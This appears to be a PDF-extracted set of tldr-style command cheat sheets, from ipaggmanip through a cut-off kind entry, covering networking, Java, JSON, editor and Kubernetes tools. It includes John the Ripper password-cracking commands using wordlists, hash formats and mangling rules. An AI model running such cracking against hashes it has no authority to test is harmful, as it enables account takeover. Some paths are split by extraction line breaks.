ipaggmanip
Manipulate aggregate statistics produced by ipaggcreate.

More information: https://manned.org/ipaggmanip.

• Combine labels equal in their high-order bits:

ipaggmanip --prefix {{16}} {{path/to/file}}

• Remove labels with a count smaller than a given number of bytes and output a
random sample of such labels:

ipaggmanip --cut-smaller {{100}} --cull-labels {{5}} {{path/


to/file}}

• Replace each label's count with 1 if it is non-zero:

ipaggmanip --posterize {{path/to/file}}


ipcs
Display information about resources used in IPC (Inter-process Communication).

More information: https://manned.org/ipcs.

• Specific information about the Message Queue which has the ID 32768:

ipcs -qi 32768

• General information about all the IPC:

ipcs -a
iperf
Measure network bandwidth between computers.

More information: https://iperf.fr.

• Run on server:

iperf -s

• Run on server using UDP mode and set server port to listen on 5001:

iperf -u -s -p {{5001}}

• Run on client:

iperf -c {{server_address}}

• Run on client every 2 seconds:

iperf -c {{server_address}} -i {{2}}

• Run on client with 5 parallel threads:

iperf -c {{server_address}} -P {{5}}

• Run on client using UDP mode:

iperf -u -c {{server_address}} -p {{5001}}


iperf3
Traffic generator for testing network bandwidth.

More information: https://iperf.fr.

• Run iperf3 as a server:

iperf3 -s

• Run an iperf3 server on a specific port:

iperf3 -s -p {{port}}

• Start bandwidth test:

iperf3 -c {{server}}

• Run iperf3 in multiple parallel streams:

iperf3 -c {{server}} -P {{streams}}

• Reverse direction of the test. Server sends data to the client:

iperf3 -c {{server}} -R
ipfs
Inter Planetary File System.

A peer-to-peer hypermedia protocol. Aims to make the web more open.

More information: https://ipfs.io.

• Add a file from local to the filesystem, pin it and print the relative hash:

ipfs add {{filename}}

• Add a directory and its files recursively from local to the filesystem and print the
relative hash:

ipfs add -r {{directory}}

• Save a remote file and give it a name but not pin it:

ipfs get {{hash}} -o {{filename}}

• Pin a remote file locally:

ipfs pin add {{hash}}

• Display pinned files:

ipfs pin ls

• Unpin a file from the local storage:

ipfs pin rm {{hash}}

• Remove unpinned files from local storage:

ipfs repo gc
ipsumdump
Summarise TCP/IP dumps into a human and machine readable ASCII format.

More information: https://manned.org/ipsumdump.

• Print the source and destination IP addresses of all packets in a pcap file:

ipsumdump --src --dst {{path/to/file.pcap}}

• Print the timestamps, source address, source port, destination address, destination
port and protocol of all packets read from a given network interface:

ipsumdump --interface {{eth0}} -tsSdDp

• Print the anonymised source address, anonymised destination address, and IP


packet length of all packets in a pcap file:

ipsumdump --src --dst --length --anonymize {{path/to/


file.pcap}}
IPython
A Python shell with automatic history, dynamic object introspection, easier
configuration, command completion, access to the system shell and more.

More information: https://ipython.readthedocs.io.

• Start a REPL (interactive shell):

ipython

• Enter an interactive IPython session after running a Python script:

ipython -i {{script.py}}

• Create default IPython profile:

ipython profile create

• Print the path to the directory for the default IPython profile:

ipython locate profile

• Clear the IPython history database, deleting all entries:

ipython history clear


irssi
Text based IRC client.

More information: https://irssi.org.

• Open Irssi and connect to a server with a nickname:

irssi -n {{nickname}} -c {{irc.example.com}}

• Open Irssi and connect with a specific server on a given port:

irssi -c {{irc.example.com}} -p {{port}}

• View the help:

irssi --help

• Join a channel:

/join {{#channelname}}

• Change active window (starts at 1):

/win {{window_number}}

• Exit the application cleanly and quitting any server(s):

/quit
is-up
Check whether a website is up or down.

More information: https://github.com/sindresorhus/is-up-cli.

• Check the status of the specified website:

is-up {{example.com}}
iverilog
Preprocesses and compiles Verilog HDL (IEEE-1364) code, into executable programs for
simulation.

More information: http://iverilog.icarus.com/.

• Compile a source file into an executable:

iverilog {{source.v}} -o {{executable}}

• Also display all warnings:

iverilog {{source.v}} -Wall -o {{executable}}

• Compile and run explicitly using the VVP runtime:

iverilog -o {{executable}} -tvvp {{source.v}}

• Compile using Verilog library files from a different path:

iverilog {{source.v}} -o {{executable}} -I{{path/to/


library_directory}}

• Preprocess Verilog code without compiling:

iverilog -E {{source.v}}
jadx
Dex to Java decompiler.

Produces Java source code from Android Dex and APK files.

More information: https://github.com/skylot/jadx.

• Decompile a Dex file into a directory:

jadx {{path/to/file}}

• Decompile a Dex file into a specific directory:

jadx --output-dir {{path/to/directory}} {{path/to/file}}


jar
Java Applications/Libraries Packager.

More information: https://docs.oracle.com/javase/tutorial/deployment/jar/


basicsindex.html.

• Recursively archive all files in the current directory into a .jar file:

jar cf {{file.jar}} *

• Unzip .jar/.war file to the current directory:

jar -xvf {{file.jar}}

• List a .jar/.war file content:

jar tf {{path/to/file.jar}}

• List a .jar/.war file content with verbose output:

jar tvf {{path/to/file.jar}}


jarsigner
Sign and verify Java Archive (JAR) files.

More information: https://docs.oracle.com/javase/9/tools/jarsigner.htm.

• Sign a JAR file:

jarsigner {{path/to/file.jar}} {{keystore_alias}}

• Sign a JAR file with a specific algorithm:

jarsigner -sigalg {{algorithm}} {{path/to/file.jar}}


{{keystore_alias}}

• Verify the signature of a JAR file:

jarsigner -verify {{path/to/file.jar}}


java
Java Application Launcher.

More information: https://docs.oracle.com/en/java/javase/17/docs/specs/man/


java.html.

• Execute a java .class file that contains a main method by using just the class
name:

java {{classname}}

• Execute a java program and use additional third-party or user-defined classes:

java -classpath {{path/to/classes1}}:{{path/to/classes2}}:.


{{classname}}

• Execute a .jar program:

java -jar {{filename.jar}}

• Execute a .jar program with debug waiting to connect on port 5005:

java -
agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=*:
5005 -jar {{filename.jar}}

• Display JDK, JRE and HotSpot versions:

java -version

• Display usage information for the java command:

java -help
javac
Java Application Compiler.

More information: https://docs.oracle.com/en/java/javase/17/docs/specs/man/


javac.html.

• Compile a .java file:

javac {{file.java}}

• Compile several .java files:

javac {{file1.java}} {{file2.java}} {{file3.java}}

• Compile all .java files in current directory:

javac {{*.java}}

• Compile a .java file and place the resulting class file in a specific directory:

javac -d {{path/to/some/directory}} {{file.java}}


javadoc
Generate Java API documentation in HTML format from source code.

More information: https://docs.oracle.com/javase/9/javadoc/javadoc-command.htm.

• Generate documentation for Java source code and save the result in a directory:

javadoc -d {{path/to/directory/}} {{path/to/


java_source_code}}

• Generate documentation with a specific encoding:

javadoc -docencoding {{UTF-8}} {{path/to/java_source_code}}

• Generate documentation excluding some packages:

javadoc -exclude {{package_list}} {{path/to/


java_source_code}}
jc
A utility to convert the output of multiple commands to JSON.

More information: https://github.com/kellyjonbrazil/jc.

• Convert command output to JSON via pipe:

{{ifconfig}} | jc {{--ifconfig}}

• Convert command output to JSON via magic syntax:

jc {{ifconfig}}

• Output pretty JSON via pipe:

{{ifconfig}} | jc {{--ifconfig}} -p

• Output pretty JSON via magic syntax:

jc -p {{ifconfig}}
jcal
Display calendar information in the Jalali format, with the current day highlighted.

More information: http://www.nongnu.org/jcal/.

• Display a calendar for the current month:

jcal

• Display the previous, current, and next months:

jcal -3

• Display a calendar for a specific year (4 digits):

jcal {{year}}

• Display a calendar for a specific month and year:

jcal {{year}} {{month}}


jdupes
A powerful duplicate file finder and an enhanced fork of fdupes.

More information: https://github.com/jbruchon/jdupes.

• Search a single directory:

jdupes {{directory}}

• Search multiple directories:

jdupes {{directory1}} {{directory2}}

• Search all directories recursively:

jdupes --recurse {{directory}}

• Search directory recursively and let user choose files to preserve:

jdupes --delete --recurse {{directory}}

• Search multiple directories and follow subdirectores under directory2, not


directory1:

jdupes {{directory1}} --recurse: {{directory2}}

• Search multiple directories and keep the directory order in result:

jdupes -O {{directory1}} {{directory2}} {{directory3}}


jekyll
A simple, blog-aware, static site generator.

More information: https://jekyllrb.com.

• Generate a development server that will run at http://localhost:4000/:

jekyll serve

• Enable incremental regeneration:

jekyll serve --incremental

• Enable verbose output:

jekyll serve --verbose

• Generate the current directory into ./_site:

jekyll build

• Clean the site (removes site output and cache directory) without building:

jekyll clean
jello
A command-line JSON processor using Python syntax.

More information: https://github.com/kellyjonbrazil/jello.

• Pretty-print JSON or JSON-Lines data from stdin to stdout:

cat {{file.json}} | jello

• Output a schema of JSON or JSON Lines data from stdin to stdout (useful for grep):

cat {{file.json}} | jello -s

• Output all elements from arrays (or all the values from objects) in JSON or JSON-
Lines data from stdin to stdout:

cat {{file.json}} | jello -l

• Output the first element in JSON or JSON-Lines data from stdin to stdout:

cat {{file.json}} | jello _[0]

• Output the value of a given key of each element in JSON or JSON-Lines data from
stdin to stdout:

cat {{file.json}} | jello '[i.{{key_name}} for i in _]'

• Output the value of multiple keys as a new JSON object (assuming the input JSON
has the keys key_name and other_key_name):

cat {{file.json}} | jello '{"{{my_new_key}}": _.{{key_name}},


"{{my_other_key}}": _.{{other_key_name}}}'

• Output the value of a given key to a string (and disable JSON output):

cat {{file.json}} | jello -r '"{{some text}}: " + _.


{{key_name}}'
jenv
Command-line tool to manage the "JAVA_HOME" environment variable.

More information: https://www.jenv.be/.

• Add a Java version to jEnv:

jenv add {{path/to/jdk_home}}

• Display the current JDK version used:

jenv version

• Display all managed JDKs:

jenv versions

• Set the global JDK version:

jenv global {{java_version}}

• Set the JDK version for the current shell session:

jenv shell {{java_version}}

• Enable a jEnv plugin:

jenv enable-plugin {{plugin_name}}


jest
A zero-configuration JavaScript testing platform.

More information: https://jestjs.io.

• Run all available tests:

jest

• Run the test suites from the given files:

jest {{path/to/file1}} {{path/to/file2}}

• Run the test suites from files within the current and subdirectories, whose paths
match the given regular expression:

jest {{regular_expression1}} {{regular_expression2}}

• Run the tests whose names match the given regular expression:

jest --testNamePattern {{regular_expression}}

• Run test suites related to a given source file:

jest --findRelatedTests {{path/to/source_file.js}}

• Run test suites related to all uncommitted files:

jest --onlyChanged

• Watch files for changes and automatically re-run related tests:

jest --watch

• Show help:

jest --help
jetifier
Jetifier AndroidX transition tool in npm format, with a react-native compatible style.

More information: https://github.com/mikehardy/jetifier.

• Migrate project dependencies to the AndroidX format:

jetifier

• Migrate project dependencies from the AndroidX format:

jetifier reverse
jhat
Java Heap Analysis Tool.

More information: https://docs.oracle.com/javase/8/docs/technotes/tools/unix/


jhat.html.

• Analyze a heap dump (from jmap), view via HTTP on port 7000:

jhat {{dump_file.bin}}

• Analyze a heap dump, specifying an alternate port for the http server:

jhat -p {{port}} {{dump_file.bin}}

• Analyze a dump letting jhat use up to 8 GB RAM (2-4x dump size recommended):

jhat -J-mx8G {{dump_file.bin}}


jhipster
Web application generator using either monolithic or microservices architecture.

More information: https://www.jhipster.tech/.

• Generate a simple full-stack project (monolithic or microservices):

jhipster

• Generate a simple frontend project:

jhipster --skip-server

• Generate a simple backend project:

jhipster --skip-client

• Apply latest JHipster updates to the project:

jhipster upgrade

• Add a new entity to a generated project:

jhipster entity {{entity_name}}

• Import a JDL file to configure your application (see: https://start.jhipster.tech/jdl-


studio/):

jhipster import-jdl {{first_file.jh second_file.jh ...


n_file.jh}}

• Generate a CI/CD pipeline for your application:

jhipster ci-cd

• Generate a Kubernetes configuration for your application:

jhipster kubernetes
jhsdb
Attach to a Java process or launch a postmortem debugger to analyze the core dump
from a crashed Java Virtual Machine.

More information: https://manned.org/jhsdb.

• Print stack and locks information of a Java process:

jhsdb jstack --pid {{pid}}

• Open a core dump in interactive debug mode:

jhsdb clhsdb --core {{path/to/core_dump}} --exe {{path/to/


jdk/bin/java}}

• Start a remote debug server:

jhsdb debugd --pid {{pid}} --serverid {{optional_unique_id}}

• Connect to a process in interactive debug mode:

jhsdb clhsdb --pid {{pid}}


jigsaw
A Laravel-based static site builder for PHP.

More information: https://jigsaw.tighten.co.

• Initialise a project:

jigsaw init

• Initialise a project using a starter template:

jigsaw init {{template_name}}

• Build the site for development:

jigsaw build

• Preview the site from the "build_local" directory:

jigsaw serve

• Build the site for production:

jigsaw build production

• Preview the site from the "build_production" directory:

jigsaw serve {{build_production}}


jmap
Java Memory Map Tool.

More information: https://docs.oracle.com/javase/7/docs/technotes/tools/share/


jmap.html.

• Print shared object mappings for a Java process (output like pmap):

jmap {{java_pid}}

• Print heap summary information:

jmap -heap {{filename.jar}} {{java_pid}}

• Print histogram of heap usage by type:

jmap -histo {{java_pid}}

• Dump contents of the heap into a binary file for analysis with jhat:

jmap -dump:format=b,file={{filename}} {{java_pid}}


jmtpfs
FUSE-based filesystem for accessing MTP devices.

More information: https://manned.org/jmtpfs.

• Mount an MTP device to a directory:

jmtpfs {{path/to/directory}}

• Set mount options:

jmtpfs -o {{allow_other,auto_unmount}} {{path/to/directory}}

• List available MTP devices:

jmtpfs --listDevices

• If multiple devices are present, mount a specific device:

jmtpfs -device={{bus_id}},{{device_id}} {{path/to/directory}}

• Unmount MTP device:

fusermount -u {{path/to/directory}}
jobs
Display status of jobs in the current session.

More information: https://manned.org/jobs.

• Show status of all jobs:

jobs

• Show status of a particular job:

jobs %{{job_id}}

• Show status and process IDs of all jobs:

jobs -l

• Show process IDs of all jobs:

jobs -p
joe
Joe's own text editor.

More information: https://joe-editor.sourceforge.io.

• Open a new file in JOE:

joe

• Open a specific file:

joe {{path/to/file}}

• Open a specific file, positioning the cursor at the specified line:

joe +{{line}} {{path/to/file}}

• Open a specific file in read-only mode:

joe -rdonly {{path/to/file}}


john
Password cracker.

More information: https://www.openwall.com/john/.

• Crack password hashes:

john {{path/to/hashes.txt}}

• Show passwords cracked:

john --show {{path/to/hashes.txt}}

• Display users' cracked passwords by user identifier from multiple files:

john --show --users={{user_ids}} {{path/to/hashes*}} {{path/


to/other/hashes*}}

• Crack password hashes, using a custom wordlist:

john --wordlist={{path/to/wordlist.txt}} {{path/to/


hashes.txt}}

• List available hash formats:

john --list=formats

• Crack password hashes, using a specific hash format:

john --format={{md5crypt}} {{path/to/hashes.txt}}

• Crack password hashes, enabling word mangling rules:

john --rules {{path/to/hashes.txt}}

• Restore an interrupted cracking session from a state file, e.g. mycrack.rec:

john --restore={{path/to/mycrack.rec}}
join
Join lines of two sorted files on a common field.

More information: https://www.gnu.org/software/coreutils/join.

• Join two files on the first (default) field:

join {{file1}} {{file2}}

• Join two files using a comma (instead of a space) as the field separator:

join -t {{','}} {{file1}} {{file2}}

• Join field3 of file1 with field1 of file2:

join -1 {{3}} -2 {{1}} {{file1}} {{file2}}

• Produce a line for each unpairable line for file1:

join -a {{1}} {{file1}} {{file2}}


josm
Extensible OpenStreetMap editor for Java 8+.

More information: https://josm.openstreetmap.de/.

• Launch JOSM:

josm

• Launch JOSM in maximized mode:

josm --maximize

• Launch JOSM and set a specific language:

josm --language {{de}}

• Launch JOSM and reset all preferences to their default values:

josm --reset-preferences

• Launch JOSM and download a specific bounding box:

josm --download {{minlat,minlon,maxlat,maxlon}}

• Launch JOSM and download a specific bounding box as raw GPS:

josm --downloadgps {{minlat,minlon,maxlat,maxlon}}

• Launch JOSM without plugins:

josm --skip-plugins
jp2a
Convert JPEG images to ASCII.

More information: https://csl.name/jp2a/.

• Read JPEG image from a file and print in ASCII:

jp2a {{path/to/image.jpeg}}

• Read JPEG image from a URL and print in ASCII:

jp2a {{www.example.com/image.jpeg}}

• Colorize the ASCII output:

jp2a --colors {{path/to/image.jpeg}}

• Specify characters to be used for the ASCII output:

jp2a --chars='{{..-ooxx@@}}' {{path/to/image.jpeg}}

• Write the ASCII output into a file:

jp2a --output={{path/to/output_file.txt}} {{path/to/


image.jpeg}}

• Write the ASCII output in HTML file format, suitable for viewing in web browsers:

jp2a --html --output={{path/to/output_file.html}} {{path/to/


image.jpeg}}
jpegoptim
Optimise JPEG images.

More information: https://github.com/tjko/jpegoptim.

• Optimise a set of JPEG images, retaining all associated data:

jpegoptim {{image1.jpeg}} {{image2.jpeg}} {{imageN.jpeg}}

• Optimise JPEG images, stripping all non-essential data:

jpegoptim --strip-all {{image1.jpeg}} {{image2.jpeg}}


{{imageN.jpeg}}

• Force the output images to be progressive:

jpegoptim --all-progressive {{image1.jpeg}} {{image2.jpeg}}


{{imageN.jpeg}}

• Force the output images to have a fixed maximum filesize:

jpegoptim --size={{250k}} {{image1.jpeg}} {{image2.jpeg}}


{{imageN.jpeg}}
jps
Show JVM Process Status of current user.

More information: https://docs.oracle.com/en/java/javase/11/tools/jps.html.

• List all JVM processes:

jps

• List all JVM processes with only PID:

jps -q

• Display the arguments passed to the processes:

jps -m

• Display the full package name of all processes:

jps -l

• Display the arguments passed to the JVM:

jps -v
jq
A command-line JSON processor that uses a domain-specific language.

More information: https://stedolan.github.io/jq.

• Output a JSON file, in pretty-print format:

jq . {{file.json}}

• Output all elements from arrays (or all the values from objects) in a JSON file:

jq '.[]' {{file.json}}

• Read JSON objects from a file into an array, and output it (inverse of jq .[]):

jq --slurp . {{file.json}}

• Output the first element in a JSON file:

jq '.[0]' {{file.json}}

• Output the value of a given key of each element in a JSON text from stdin:

cat {{file.json}} | jq 'map(.{{key_name}})'

• Output the value of multiple keys as a new JSON object (assuming the input JSON
has the keys key_name and other_key_name):

cat {{file.json}} | jq '{{{my_new_key}}: .{{key_name}},


{{my_other_key}}: .{{other_key_name}}}'

• Combine multiple filters:

cat {{file.json}} | jq 'unique | sort | reverse'

• Output the value of a given key to a string (and disable JSON output):

cat {{file.json}} | jq --raw-output '"some text: \(.


{{key_name}})"'
jrnl
A simple journal application for your command-line.

More information: http://jrnl.sh.

• Insert a new entry with your editor:

jrnl

• Quickly insert a new entry:

jrnl {{today at 3am}}: {{title}}. {{content}}

• View the last ten entries:

jrnl -n {{10}}

• View everything that happened from the start of last year to the start of last
march:

jrnl -from "{{last year}}" -until {{march}}

• Edit all entries tagged with "texas" and "history":

jrnl {{@texas}} -and {{@history}} --edit


json5
A command-line tool for converting JSON5 files to JSON.

More information: https://json5.org.

• Convert JSON5 stdin to JSON stdout:

echo {{input}} | json5

• Convert a JSON5 file to JSON and output to stdout:

json5 {{path/to/input_file.json5}}

• Convert a JSON5 file to the specified JSON file:

json5 {{path/to/input_file.json5}} --out-file {{path/to/


output_file.json}}

• Validate a JSON5 file:

json5 {{path/to/input_file.json5}} --validate

• Specify the number of spaces to indent by (or "t" for tabs):

json5 --space {{indent_amount}}

• View available options:

json5 --help
jstack
Java Stack Trace Tool.

More information: https://manned.org/jstack.

• Print Java stack traces for all threads in a Java process:

jstack {{java_pid}}

• Print mixed mode (Java/C++) stack traces for all threads in a Java process:

jstack -m {{java_pid}}

• Print stack traces from Java core dump:

jstack {{/usr/bin/java}} {{file.core}}


jtbl
Utility to print JSON and JSON Lines data as a table in the terminal.

More information: https://github.com/kellyjonbrazil/jtbl.

• Print a table from JSON or JSON Lines input:

cat {{file.json}} | jtbl

• Print a table and specify the column width for wrapping:

cat {{file.json}} | jtbl --cols={{width}}

• Print a table and truncate rows instead of wrapping:

cat {{file.json}} | jtbl -t

• Print a table and don't wrap or truncate rows:

cat {{file.json}} | jtbl -n


julia
A high-level, high-performance dynamic programming language for technical
computing.

More information: https://docs.julialang.org/en/v1/manual/getting-started/.

• Start a REPL (interactive shell):

julia

• Execute a Julia program and exit:

julia {{program.jl}}

• Execute a Julia program that takes arguments:

julia {{program.jl}} {{arguments}}

• Evaluate a string containing Julia code:

julia -e '{{julia_code}}'

• Evaluate a string of Julia code, passing arguments to it:

julia -e '{{for x in ARGS; println(x); end}}' {{arguments}}

• Evaluate an expression and print the result:

julia -E '{{(1 - cos(pi/4))/2}}'

• Start Julia in parallel mode, using N worker processes:

julia -p {{N}}
jupyter
Web application to create and share documents that contain code, visualizations and
notes.

Primarily used for data analysis, scientific computing and machine learning.

More information: https://jupyter.org.

• Start a Jupyter notebook server in the current directory:

jupyter notebook

• Open a specific Jupyter notebook:

jupyter notebook {{example.ipynb}}

• Export a specific Jupyter notebook into another format:

jupyter nbconvert --to {{html|markdown|pdf|script}}


{{example.ipynb}}

• Start a server on a specific port:

jupyter notebook --port={{port}}

• List currently running notebook servers:

jupyter notebook list

• Stop the currently running server:

jupyter notebook stop

• Start JupyterLab, if installed, in the current directory:

jupyter lab
jupytext
Tool to convert Jupyter notebooks to plain text documents, and back again.

More information: https://jupytext.readthedocs.io.

• Turn a notebook into a paired .ipynb/.py notebook:

jupytext --set-formats ipynb,py {{notebook.ipynb}}

• Convert a notebook to a .py file:

jupytext --to py {{notebook.ipynb}}

• Convert a .py file to a notebook with no outputs:

jupytext --to notebook {{notebook.py}}

• Convert a .md file to a notebook and run it:

jupytext --to notebook --execute {{notebook.md}}

• Update the input cells in a notebook and preserve outputs and metadata:

jupytext --update --to notebook {{notebook.py}}

• Update all paired representations of a notebook:

jupytext --sync {{notebook.ipynb}}


jwt
A command-line tool to work with JSON Web Tokens (JWTs).

Encryption algorithms available are HS256, HS384, HS512, RS256, RS384, RS512, ES256,
ES384.

More information: https://github.com/mike-engel/jwt-cli.

• Decode a JWT:

jwt decode {{jwt_string}}

• Decode a JWT as a JSON string:

jwt decode -j {{jwt_string}}

• Encode a JSON string to a JWT:

jwt encode --alg {{HS256}} --secret {{1234567890}}


'{{json_string}}'

• Encode key pair payload to JWT:

jwt encode --alg {{HS256}} --secret {{1234567890}} -P


key=value
k6
Open source load testing tool and SaaS for engineering teams.

More information: https://k6.io.

• Run load test locally:

k6 run {{script.js}}

• Run load test locally with a given number of virtual users and duration:

k6 run --vus {{10}} --duration {{30s}} {{script.js}}

• Run load test locally with a given environment variable:

k6 run -e {{HOSTNAME=example.com}} {{script.js}}

• Run load test locally using InfluxDB to store results:

k6 run --out influxdb={{http://localhost:8086/k6db}}


{{script.js}}

• Run load test locally and discard response bodies (significantly faster):

k6 run --discard-response-bodies {{script.js}}

• Run load test locally using the base JavaScript compatibility mode (significantly
faster):

k6 run --compatibility-mode=base {{script.js}}

• Log in to cloud service using secret token:

k6 login cloud --token {{secret}}

• Run load test on cloud infrastructure:

k6 cloud {{script.js}}
k8s-unused-secret-detector
Command-line interface tool for detecting unused Kubernetes secrets.

More information: https://github.com/dtan4/k8s-unused-secret-detector.

• Detect unused secrets:

k8s-unused-secret-detector

• Detect unused secrets in a specific namespace:

k8s-unused-secret-detector -n {{namespace}}

• Delete unused secrets in a specific namespace:

k8s-unused-secret-detector -n {{namespace}} | kubectl delete


secret -n {{namespace}}
k8sec
Command-line interface tool to manage Kubernetes secrets.

More information: https://github.com/dtan4/k8sec.

• List all secrets:

k8sec list

• List a specific secret as a base64-encoded string:

k8sec list {{secret_name}} --base64

• Set a secret's value:

k8sec set {{secret_name}} {{key=value}}

• Set a base64-encoded value:

k8sec set --base64 {{secret_name}} {{key=encoded_value}}

• Unset a secret:

k8sec unset {{secret_name}}

• Load secrets from a file:

k8sec load -f {{path/to/file}} {{secret_name}}

• Dump secrets to a file:

k8sec dump -f {{path/to/file}} {{secret_name}}


kafkacat
Apache Kafka producer and consumer tool.

More information: https://github.com/edenhill/kafkacat.

• Consume messages starting with the newest offset:

kafkacat -C -t {{topic}} -b {{brokers}}

• Consume messages starting with the oldest offset and exit after the last message is
received:

kafkacat -C -t {{topic}} -b {{brokers}} -o beginning -e

• Consume messages as a Kafka consumer group:

kafkacat -G {{group_id}} {{topic}} -b {{brokers}}

• Publish message by reading from stdin:

echo {{message}} | kafkacat -P -t {{topic}} -b {{brokers}}

• Publish messages by reading from a file:

kafkacat -P -t {{topic}} -b {{brokers}} {{path/to/file}}

• List metadata for all topics and brokers:

kafkacat -L -b {{brokers}}

• List metadata for a specific topic:

kafkacat -L -t {{topic}} -b {{brokers}}

• Get offset for a topic/partition for a specific point in time:

kafkacat -Q -t {{topic}}:{{partition}}:{{unix_timestamp}} -b
{{brokers}}
kaggle
Official CLI for Kaggle implemented in Python 3.

More information: https://github.com/Kaggle/kaggle-api.

• View current configuration values:

kaggle config view

• Download a specific file from a competition dataset:

kaggle competitions download {{competition}} -f {{filename}}


kahlan
A unit and Behaviour Driven Development test framework for PHP.

More information: https://kahlan.github.io.

• Run all specifications in the "spec" directory:

kahlan

• Run specifications using a specific configuration file:

kahlan --config={{path/to/configuration_file}}

• Run specifications and output using a reporter:

kahlan --reporter={{dot|bar|json|tap|verbose}}

• Run specifications with code coverage (detail can be between 0 and 4):

kahlan --coverage={{detail_level}}
kak
Kakoune is a mode-based code editor implementing the "multiple selections" paradigm.

Data can be selected and simultaneously edited in different locations, using multiple
selections; users can also connect to the same session for collaborative editing.

More information: https://kakoune.org.

• Open a file and enter normal mode, to execute commands:

kak {{path/to/file}}

• Enter insert mode from normal mode, to write text into the file:

• Escape insert mode, to go back to normal mode:

<Escape>

• Replace all instances of "foo" in the current file with "bar":

%s{{foo}}<Enter>c{{bar}}<Escape>

• Unselect all secondary selections, and keep only the main one:

<Space>

• Search for numbers and select the first two:

/\d+<Enter>N

• Insert the contents of a file:

!cat {{path/to/file}}<Enter>

• Save the current file:

:w<Enter>
kate
KDE Text Editor.

More information: https://kate-editor.org/.

• Launch Kate and open specific files:

kate {{path/to/file1}} {{path/to/file2}}

• Open a remote document in Kate:

kate {{https://example.com/path/to/file}}

• Launch Kate, creating a new instance even if one is already open:

kate --new

• Open a file in Kate with the cursor at the specific line:

kate --line {{line_number}} {{path/to/file}}

• Open a file in Kate with the cursor at the specific line and column:

kate --line {{line_number}} --column {{column_number}}


{{path/to/file}}

• Launch Kate, creating a new temporary file with contents read from stdin:

cat {{path/to/file}} | kate --stdin

• Display help:

kate --help
kdeconnect-cli
KDE Connect CLI.

More information: https://kdeconnect.kde.org.

• List all devices:

kdeconnect-cli --list-devices

• List available (paired and reachable) devices:

kdeconnect-cli --list-available

• Request pairing with a specific device, specifying its ID:

kdeconnect-cli --pair --device {{device_id}}

• Ring a device, specifying its name:

kdeconnect-cli --ring --name {{device_name}}

• Share an URL or file with a paired device, specifying its ID:

kdeconnect-cli --share {{URL|path/to/file}} --device


{{device_id}}

• Send an SMS with an optional attachment to a specific number:

kdeconnect-cli --name {{device_name}} --send-sms {{message}}


--destination {{phone_number}} --attachment {{path/to/file}}

• Unlock a specific device:

kdeconnect-cli --name {{device_name}} --unlock

• Simulate a key press on a specific device:

kdeconnect-cli --name {{device_name}} --send-keys {{key}}


keepass2
A light-weight password manager.

More information: https://keepass.info.

• Start KeePass 2, opening the most recently opened password database:

keepass2

• Start KeePass 2, opening a specific password database:

keepass2 {{path/to/database.kbdx}}

• Use a specific key file to open a password database:

keepass2 {{path/to/database.kbdx}} -keyfile:{{path/to/key/


file.key}}
keepassxc-cli
Command-line interface for KeepassXC.

More information: https://manned.org/keepassxc-cli.

• Search entries:

keepassxc-cli lookup {{path/to/database_file}} {{name}}

• List the contents of a folder:

keepassxc-cli ls {{path/to/database_file}} {{/path/to/


directory}}

• Add an entry with an auto-generated password:

keepassxc-cli add --generate {{path/to/database_file}}


{{entry_name}}

• Delete an entry:

keepassxc-cli rm {{path/to/database_file}} {{entry_name}}

• Copy an entry's password to the clipboard:

keepassxc-cli clip {{path/to/database_file}} {{entry_name}}

• Copy a TOTP code to the clipboard:

keepassxc-cli clip --totp {{path/to/database_file}}


{{entry_name}}

• Generate a passphrase with 7 words:

keepassxc-cli diceware --words {{7}}

• Generate a password with 16 printable ASCII characters:

keepassxc-cli generate --lower --upper --numeric --special --


length {{16}}
keybase
Key directory that maps social media identities to encryption keys in a publicly
auditable manner.

More information: https://keybase.io/docs/command_line.

• Follow another user:

keybase follow {{username}}

• Add a new proof:

keybase prove {{service}} {{service_username}}

• Sign a file:

keybase sign --infile {{input_file}} --outfile


{{output_file}}

• Verify a signed file:

keybase verify --infile {{input_file}} --outfile


{{output_file}}

• Encrypt a file:

keybase encrypt --infile {{input_file}} --outfile


{{output_file}} {{receiver}}

• Decrypt a file:

keybase decrypt --infile {{input_file}} --outfile


{{output_file}}

• Revoke current device, log out, and delete local data:

keybase deprovision
keychain
Re-use ssh-agent and/or gpg-agent between logins.

More information: http://funtoo.org/Keychain.

• Check for a running ssh-agent, and start one if needed:

keychain

• Also check for gpg-agent:

keychain --agents "{{gpg,ssh}}"

• List signatures of all active keys:

keychain --list

• List fingerprints of all active keys:

keychain --list-fp

• Add a timeout for identities added to the agent, in minutes:

keychain --timeout {{minutes}}


khal
A text-based calendar and scheduling application for the command-line.

More information: https://lostpackets.de/khal.

• Start khal on interactive mode:

ikhal

• Print all events scheduled in personal calendar for the next seven days:

khal list -a {{personal}} {{today}} {{7d}}

• Print all events scheduled not in personal calendar for tomorrow at 10:00:

khal at -d {{personal}} {{tomorrow}} {{10:00}}

• Print a calendar with a list of events for the next three months:

khal calendar

• Add new event to personal calendar:

khal new -a {{personal}} {{2020-09-08}} {{18:00}} {{18:30}}


"{{Dentist appointment}}"
kill
Sends a signal to a process, usually related to stopping the process.

All signals except for SIGKILL and SIGSTOP can be intercepted by the process to
perform a clean exit.

More information: https://manned.org/kill.

• Terminate a program using the default SIGTERM (terminate) signal:

kill {{process_id}}

• List available signal names (to be used without the SIG prefix):

kill -l

• Terminate a background job:

kill %{{job_id}}

• Terminate a program using the SIGHUP (hang up) signal. Many daemons will
reload instead of terminating:

kill -{{1|HUP}} {{process_id}}

• Terminate a program using the SIGINT (interrupt) signal. This is typically initiated
by the user pressing Ctrl + C:

kill -{{2|INT}} {{process_id}}

• Signal the operating system to immediately terminate a program (which gets no


chance to capture the signal):

kill -{{9|KILL}} {{process_id}}

• Signal the operating system to pause a program until a SIGCONT ("continue")


signal is received:

kill -{{17|STOP}} {{process_id}}

• Send a SIGUSR1 signal to all processes with the given GID (group id):

kill -{{SIGUSR1}} -{{group_id}}


killall
Send kill signal to all instances of a process by name (must be exact name).

All signals except SIGKILL and SIGSTOP can be intercepted by the process, allowing a
clean exit.

More information: https://manned.org/killall.

• Terminate a process using the default SIGTERM (terminate) signal:

killall {{process_name}}

• List available signal names (to be used without the 'SIG' prefix):

killall --list

• Interactively ask for confirmation before termination:

killall -i {{process_name}}

• Terminate a process using the SIGINT (interrupt) signal, which is the same signal
sent by pressing Ctrl + C:

killall -INT {{process_name}}

• Force kill a process:

killall -KILL {{process_name}}


kind
Tool for running local Kubernetes clusters using Docker container "nodes".

Designed for testing Kubernetes itself, but may be used for local development or
continuous integration.

More information: https://github.com/kubernetes-sigs/kind.

• Create a local Kubernetes cluster:

